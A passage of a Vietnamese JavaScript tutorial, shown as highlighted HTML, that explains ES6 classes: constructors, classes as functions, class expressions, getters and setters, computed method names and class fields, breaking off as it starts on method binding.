<span class="token punctuation">}</span> <span class="token comment">// Sử dụng:</span> <span class="token keyword">let</span> user <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">User</span><span class="token punctuation">(</span><span class="token string">"Alex"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> user<span class="token punctuation">.</span><span class="token function">sayHi</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Alex</span></code></pre></div> <p>Khi <code>new User("Alex")</code> được gọi:</p> <ul> <li>Một đối tượng mới được tạo ra.</li> <li>Hàm khởi tạo <code>constructor</code> được gọi với giá trị tham số truyền vào là <code>"Alex"</code> - gán cho <code>this.name</code>.</li> </ul> <p>Sau đó, bạn có thể gọi phương thức của object, ví dụ: <code>user.sayHi()</code>.</p> <blockquote> <p>📝 <strong>Chú ý:</strong> Không tồn tại <strong>dấu phẩy</strong> giữa các phương thức. Việc thêm vào dấu phẩy vào giữa các phương thức sẽ gây <strong>lỗi cú pháp</strong>.</p> <p>Bạn cần chú ý để tránh nhầm lẫn giữa việc <strong>định nghĩa class</strong> với việc <strong>định nghĩa object</strong>.</p> </blockquote> <h2 id="class-là-gì" style="position:relative;"><a href="#class-l%C3%A0-g%C3%AC" aria-label="class là gì permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Class là gì?</h2> <p>Trong JavaScript, class thực chất là một loại <a href="/ham-la-gi-ham-trong-javascript/">Function</a>. Và bạn có thể xem ví dụ sau để thấy rõ điều đó:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">class</span> <span class="token class-name">User</span> <span class="token punctuation">{</span> <span class="token function">constructor</span><span class="token punctuation">(</span><span class="token parameter">name</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>name <span class="token operator">=</span> name<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">sayHi</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>name<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token comment">// sử dụng typeof để xác định kiểu của User</span> <span class="gatsby-highlight-code-line">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">typeof</span> User<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// function</span></span></code></pre></div> <p>Bản chất của <code>class User {...}</code> như sau:</p> <ol> <li>Tạo mới một hàm với tên là <code>User</code>, nội dung của hàm được lấy từ hàm khởi tạo <code>constructor</code> (mặc định là <strong>empty</strong> nếu bạn không định nghĩa).</li> <li>Lưu các phương thức của hàm (ví dụ <code>sayHi</code>) trong <code>User.prototype</code>.</li> </ol> <p>Sau khi đối tượng mới được tạo ra và gọi một phương thức, JavaScript sẽ <strong>tự động tìm kiếm</strong> phương thức đó trong prototype (như đã miêu tả trong bài <a href="/f-prototype-prototype-ham-trong-javascript/">F.prototype</a>).</p> <p>Ví dụ chứng minh:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">class</span> <span class="token class-name">User</span> <span class="token punctuation">{</span> <span class="token function">constructor</span><span class="token punctuation">(</span><span class="token parameter">name</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>name <span class="token operator">=</span> name<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">sayHi</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>name<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token comment">// class là function</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">typeof</span> User<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// function</span> <span class="token comment">// User.prototype.constructor chính là User</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>User <span class="token operator">===</span> <span class="token class-name">User</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span>constructor<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> <span class="token comment">// Các phương thức được lưu trong User.prototype</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token class-name">User</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span>sayHi<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// code của phương thức sayHi</span> <span class="token comment">// Có tất cả 2 phương thức trong prototype</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>Object<span class="token punctuation">.</span><span class="token function">getOwnPropertyNames</span><span class="token punctuation">(</span><span class="token class-name">User</span><span class="token punctuation">.</span>prototype<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// constructor, sayHi</span></code></pre></div> <h2 id="class-không-chỉ-là-syntactic-sugar" style="position:relative;"><a href="#class-kh%C3%B4ng-ch%E1%BB%89-l%C3%A0-syntactic-sugar" aria-label="class không chỉ là syntactic sugar permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Class không chỉ là "syntactic sugar"</h2> <p>Khái niệm <strong>syntactic sugar</strong> dùng để chỉ một <strong>cú pháp mới</strong> được sinh ra nhằm mục đích <strong>dễ đọc, dễ viết</strong>, chứ không tạo thêm những đặc điểm, tính chất mới so với <strong>cú pháp cũ</strong>.</p> <p>Mọi người thường coi <strong>class là syntatic sugar của function</strong>. Vì thực chất là ta có thể định nghĩa được thứ <strong>tương tự class</strong> mà không cần từ khóa <strong>class</strong> như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// *** Viết lại `class User` sử dụng hàm ***</span> <span class="token comment">// 1. viết hàm khởi tạo</span> <span class="token keyword">function</span> <span class="token function">User</span><span class="token punctuation">(</span><span class="token parameter">name</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>name <span class="token operator">=</span> name<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">// prototype của hàm luôn có thuộc tính constructor mặc định,</span> <span class="token comment">// nên không cần định nghĩa lại</span> <span class="token comment">// 2. thêm thuộc tính vào prototype</span> <span class="token class-name">User</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span><span class="token function-variable function">sayHi</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>name<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">// Sử dụng:</span> <span class="token keyword">let</span> user <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">User</span><span class="token punctuation">(</span><span class="token string">"Alex"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> user<span class="token punctuation">.</span><span class="token function">sayHi</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Alex</span></code></pre></div> <p>Bạn có thể thấy cách định nghĩa hàm trên cho kết quả khá giống với cách dùng class. Tuy nhiên, vẫn có một số đặc điểm khác giữa class và hàm như sau:</p> <p>► Một hàm được tạo bởi từ khóa <strong>class</strong> luôn có một thuộc tính mặc định là <code>[[IsClassConstructor]]: true</code>. Và JavaScript engine thường dùng thuộc tính này để phân biệt giữa hàm bình thường và class.</p> <p>Ví dụ class bắt buộc phải gọi với từ khóa <code>new</code> trong khi hàm bình thường thì không:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// hàm bình thường</span> <span class="token keyword">function</span> <span class="token function">User1</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span><span class="token punctuation">}</span> <span class="token comment">// class</span> <span class="token keyword">class</span> <span class="token class-name">User2</span> <span class="token punctuation">{</span> <span class="token function">constructor</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span><span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token function">User1</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// không lỗi</span> <span class="token function">User2</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// lỗi: Class constructor User2 cannot be invoked without 'new'</span></code></pre></div> <p>String biểu diễn class cũng luôn bắt đầu bằng <strong>class</strong>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// hàm bình thường</span> <span class="token keyword">function</span> <span class="token function">User1</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span><span class="token punctuation">}</span> <span class="token comment">// class</span> <span class="token keyword">class</span> <span class="token class-name">User2</span> <span class="token punctuation">{</span> <span class="token function">constructor</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span><span class="token punctuation">}</span> <span class="token punctuation">}</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>User1<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// ƒ User1() {}</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>User2<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// class User2 { constructor() {} }</span></code></pre></div> <p>► Các phương thức của class là <strong>non-enumerable</strong> - tức là không xuất hiện trong <code>for...in</code>. Bởi vì class luôn gán giá trị <code>enumerable : false</code> cho tất cả các phương thức trong <code>prototype</code>.</p> <p>► Code trong class luôn sử dụng ở <a href="/use-strict-trong-js/">strict mode</a>.</p> <p>Ngoài ra, class còn có nhiều cú pháp và tính năng hay ho khác nữa sẽ được trình bày ở các bài viết sau.</p> <h2 id="class-expression" style="position:relative;"><a href="#class-expression" aria-label="class expression permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Class expression</h2> <p>Giống như function, class cũng có <strong>class expression</strong> - biểu thức class. Nghĩa là nó có thể được định nghĩa bên trong một biểu thức khác, truyền giữa các hàm, làm giá trị trả về của hàm hoặc dùng để gán cho biến,...</p> <p>Sau đây là ví dụ về class expression:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> User <span class="token operator">=</span> <span class="token keyword">class</span> <span class="token punctuation">{</span> <span class="token function">sayHi</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Hello"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span><span class="token punctuation">;</span></code></pre></div> <p>Tương tự như <a href="/function-object-trong-javascript/#bi%E1%BB%83u-th%E1%BB%A9c-h%C3%A0m-%C4%91%C6%B0%E1%BB%A3c-%C4%91%E1%BA%B7t-t%C3%AAn">Named Function Expression</a> - NFE, class expression cũng có thể có <strong>tên</strong>. Và nếu một class expression có tên thì tên đó <strong>chỉ được nhìn thấy bên trong class</strong>, ví dụ:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="gatsby-highlight-code-line"><span class="token keyword">let</span> User <span class="token operator">=</span> <span class="token keyword">class</span> <span class="token class-name">MyClass</span> <span class="token punctuation">{</span></span> <span class="token function">sayHi</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// MyClass is chỉ được nhìn thấy bên trong class</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>MyClass<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">new</span> <span class="token class-name">User</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">sayHi</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// hiển thị định nghĩa MyClass</span> <span class="token comment">// MyClass không được nhìn thấy bên ngoài</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>MyClass<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// ReferenceError: MyClass is not defined</span></code></pre></div> <p>Hoặc bạn có thể <strong>tạo động</strong> class như sau:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">makeClass</span><span class="token punctuation">(</span><span class="token parameter">message</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// khai báo class và trả về nó</span> <span class="gatsby-highlight-code-line"> <span class="token keyword">return</span> <span class="token keyword">class</span> <span class="token punctuation">{</span></span><span class="gatsby-highlight-code-line"> <span class="token function">sayHi</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span><span class="gatsby-highlight-code-line"> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>message<span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"> <span class="token punctuation">}</span></span><span class="gatsby-highlight-code-line"> <span class="token punctuation">}</span><span class="token punctuation">;</span></span><span class="token punctuation">}</span> <span class="token comment">// Tạo mới một class</span> <span class="token keyword">let</span> User <span class="token operator">=</span> <span class="token function">makeClass</span><span class="token punctuation">(</span><span class="token string">"Hello"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Tạo mới một đối tượng từ class</span> <span class="token keyword">new</span> <span class="token class-name">User</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">sayHi</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hello</span></code></pre></div> <h2 id="gettersetter-trong-class" style="position:relative;"><a href="#gettersetter-trong-class" aria-label="gettersetter trong class permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Getter/setter trong class</h2> <p>Class cũng có <strong>getter/setter</strong> như trong object. Ví dụ sau sử dụng <code>user.name</code> làm <strong>getter/setter</strong>:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">class</span> <span class="token class-name">User</span> <span class="token punctuation">{</span> <span class="token function">constructor</span><span class="token punctuation">(</span><span class="token parameter">name</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>name <span class="token operator">=</span> name<span class="token punctuation">;</span> <span class="token comment">// gọi hàm setter</span> <span class="token punctuation">}</span> <span class="token comment">// getter</span> <span class="gatsby-highlight-code-line"> <span class="token keyword">get</span> <span class="token function">name</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span> <span class="token keyword">return</span> <span class="token keyword">this</span><span class="token punctuation">.</span>_name<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">// setter</span> <span class="gatsby-highlight-code-line"> <span class="token keyword">set</span> <span class="token function">name</span><span class="token punctuation">(</span><span class="token parameter">value</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span> <span class="token keyword">if</span> <span class="token punctuation">(</span>value<span class="token punctuation">.</span>length <span class="token operator">&lt;</span> <span class="token number">4</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token function">alert</span><span class="token punctuation">(</span><span class="token string">"Name is too short."</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">return</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">this</span><span class="token punctuation">.</span>_name <span class="token operator">=</span> value<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token comment">// Sử dụng:</span> <span class="token keyword">let</span> user <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">User</span><span class="token punctuation">(</span><span class="token string">"Alex"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>user<span class="token punctuation">.</span>name<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Alex</span> user <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">User</span><span class="token punctuation">(</span><span class="token string">""</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Name is too short.</span></code></pre></div> <p>Về cơ bản, cách định nghĩa <strong>getter/setter</strong> trong class như trên cũng giống như định nghĩa <strong>getter/setter</strong> trong <code>User.prototype</code>.</p> <h2 id="tạo-tên-phương-thức-qua-biểu-thức" style="position:relative;"><a href="#t%E1%BA%A1o-t%C3%AAn-ph%C6%B0%C6%A1ng-th%E1%BB%A9c-qua-bi%E1%BB%83u-th%E1%BB%A9c" aria-label="tạo tên phương thức qua biểu thức permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tạo tên phương thức qua biểu thức</h2> <p>Tên của phương thức trong class có thể được <strong>tạo động thông qua một biểu thức</strong>, ví dụ:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">class</span> <span class="token class-name">User</span> <span class="token punctuation">{</span> <span class="gatsby-highlight-code-line"> <span class="token punctuation">[</span><span class="token string">"say"</span> <span class="token operator">+</span> <span class="token string">"Hi"</span><span class="token punctuation">]</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span><span class="gatsby-highlight-code-line"> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Hello"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"> <span class="token punctuation">}</span></span><span class="token punctuation">}</span> <span class="token keyword">new</span> <span class="token class-name">User</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">sayHi</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hello</span></code></pre></div> <p>Tính năng này tương tự như trong object.</p> <h2 id="thuộc-tính-trong-class" style="position:relative;"><a href="#thu%E1%BB%99c-t%C3%ADnh-trong-class" aria-label="thuộc tính trong class permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Thuộc tính trong class</h2> <p>Trong các phần trên, mình mới đề cập đến phương thức trong class. Thực tế, bạn có thể thêm bất cứ thuộc tính nào vào class như sau:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">class</span> <span class="token class-name">User</span> <span class="token punctuation">{</span> <span class="token comment">// thêm thuộc tính name vào class</span> <span class="gatsby-highlight-code-line"> name <span class="token operator">=</span> <span class="token string">"Alex"</span><span class="token punctuation">;</span></span> <span class="token function">sayHi</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Hello, </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span><span class="token keyword">this</span><span class="token punctuation">.</span>name<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">!</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token keyword">new</span> <span class="token class-name">User</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">sayHi</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hello, Alex!</span></code></pre></div> <blockquote> <p><strong>Chú ý:</strong> nhiều <strong>trình duyệt cũ</strong> không hỗ trợ cách định nghĩa thuộc tính trong class như trên.</p> </blockquote> <p>Điểm khác nhau quan trọng giữa việc định nghĩa phương thức và thuộc tính trong class là:</p> <ul> <li><strong>Phương thức</strong> trong class được định nghĩa <strong>bên trong prototype</strong>.</li> <li><strong>Thuộc tính</strong> trong class <strong>tồn tại ở mỗi object</strong> được tạo ra từ class.</li> </ul> <p>Ví dụ:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">class</span> <span class="token class-name">User</span> <span class="token punctuation">{</span> name <span class="token operator">=</span> <span class="token string">"Alex"</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">let</span> user <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">User</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>user<span class="token punctuation">.</span>name<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Alex</span></span><span class="gatsby-highlight-code-line">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token class-name">User</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span>name<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// undefined</span></span></code></pre></div> <p>Bạn có thể gán giá trị cho thuộc tính thông qua một biểu thức hoặc qua gọi hàm như sau:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">class</span> <span class="token class-name">User</span> <span class="token punctuation">{</span> <span class="gatsby-highlight-code-line"> name <span class="token operator">=</span> <span class="token function">prompt</span><span class="token punctuation">(</span><span class="token string">"Name, please?"</span><span class="token punctuation">,</span> <span class="token string">"Alex"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="token punctuation">}</span> <span class="token keyword">let</span> user <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">User</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">alert</span><span class="token punctuation">(</span>user<span class="token punctuation">.</span>name<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Alex</span></code></pre></div> <h2 id="tạo-phương-thức-bind-với-thuộc-tính-trong-class" style="position:relative;"><a href="#t%E1%BA%A1o-ph%C6%B0%C6%A1ng-th%E1%BB%A9c-bind-v%E1%BB%9Bi-thu%E1%BB%99c-t%C3%ADnh-trong-class" aria-label="tạo phương thức bind với thuộc tính trong class permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tạo phương thức bind với thuộc tính trong class</h2> <p>Như mình đã đề cập trong bài viết về <a href="/function-binding-trong-javascript/">function binding</a>, hàm trong JavaScript xử lý <code>this</code> một cách <strong>rất động</strong>.</p> <p>Vì vậy, khi một object được truyền qua lại các hàm và được gọi ở một <strong>ngữ cảnh khác</strong> thì <code>this</code> có thể được tham chiếu đến <strong>object khác với object ban đầu</strong>.</p> <p>Ví dụ đoạn code sau sẽ hiển thị <code>undefined</code>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">class</span> <span class="token class-name">Button</span> <span class="token punctuation">{</span> <span class="token function">constructor</span><span class="token punctuation">(</span><span class="token parameter">value</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>value <span class="token operator">=</span> value<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">click</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>value<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token keyword">let</span> button <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Button</span><span class="token punctuation">(</span><span class="token string">"hello"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">setTimeout</span><span class="token punctuation">(</span>button<span class="token punctuation">.</span>click<span class="token punctuation">,</span> <span class="token number">1000</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// undefined</span></code></pre></div> <p>Vấn đề ở đây là khi phương thức <code>button.click</code> được truyền vào hàm <code>setTimeout</code>, phương thức này sẽ được gọi bởi một đối tượng khác, không phải <code>button</code>.</p> <p>Có ba cách để giải quyết vấn đề này là:</p> <p>► <strong>Cách 1:</strong> Sử dụng <a href="/arrow-function-la-gi-arrow-function-trong-js/">arrow function</a> ở hàm <code>setTimeout</code> như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token 